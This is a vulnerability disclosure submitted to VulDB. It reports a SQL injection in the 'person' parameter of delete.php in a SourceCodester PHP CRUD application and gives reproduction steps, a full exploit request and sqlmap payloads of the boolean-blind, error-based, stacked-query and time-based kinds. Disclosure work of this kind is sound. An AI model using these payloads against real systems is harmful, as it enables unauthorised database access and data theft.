| タイトル | SourceCodester PHP CRUD using PDO Connection with Free Source Code 1.0 SQL Injection |
|---|
| 説明 | I would like to report a SQL injection vulnerability I discovered in the sourcecodester of the PHP CRUD using PDO Connection with Free Source Code during my testing.
Details:
Affected URL/Endpoint: /basic-crud/endpoint/delete.php
Vulnerable Parameter: person
Risk Level: High (allows malicious users to execute arbitrary SQL queries)
Steps to reproduce:
1) Click on delete
2) Use a proxy like burpsuite to intercept the "delete" request.
3) Input the payload to invoke the SQL injection.
---
GET /basic-crud/endpoint/delete.php?person=1%27%20AND%20GTID_SUBSET%28CONCAT%280x716b6a6a71%2C%28MID%28%28IFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C190%29%29%2C0x71787a6b71%29%2C3736%29--%20UXvx HTTP/1.1
---
4) It is also vulnerable to the following attackes after running sqlmap on it.
---
Parameter: person (GET)
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: person=1' AND EXTRACTVALUE(6753,CASE WHEN (6753=6753) THEN 6753 ELSE 0x3A END)-- JdCl
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: person=1' AND GTID_SUBSET(CONCAT(0x716b6a6a71,(SELECT (ELT(4457=4457,1))),0x71787a6b71),4457)-- pVYs
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: person=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: person=1' AND (SELECT 6694 FROM (SELECT(SLEEP(5)))vsJW)-- Zlfh
---
Please let me know if you need further information or a more detailed analysis. |
|---|
| ユーザー | Delvy (UID 74555) |
|---|
| 送信 | 2024年09月06日 12:46 (2 年 ago) |
|---|
| モデレーション | 2024年09月06日 23:36 (11 hours later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 276781 [SourceCodester PHP CRUD 1.0 Delete Person /endpoint/delete.php 調査者 SQLインジェクション] |
|---|
| ポイント | 17 |
|---|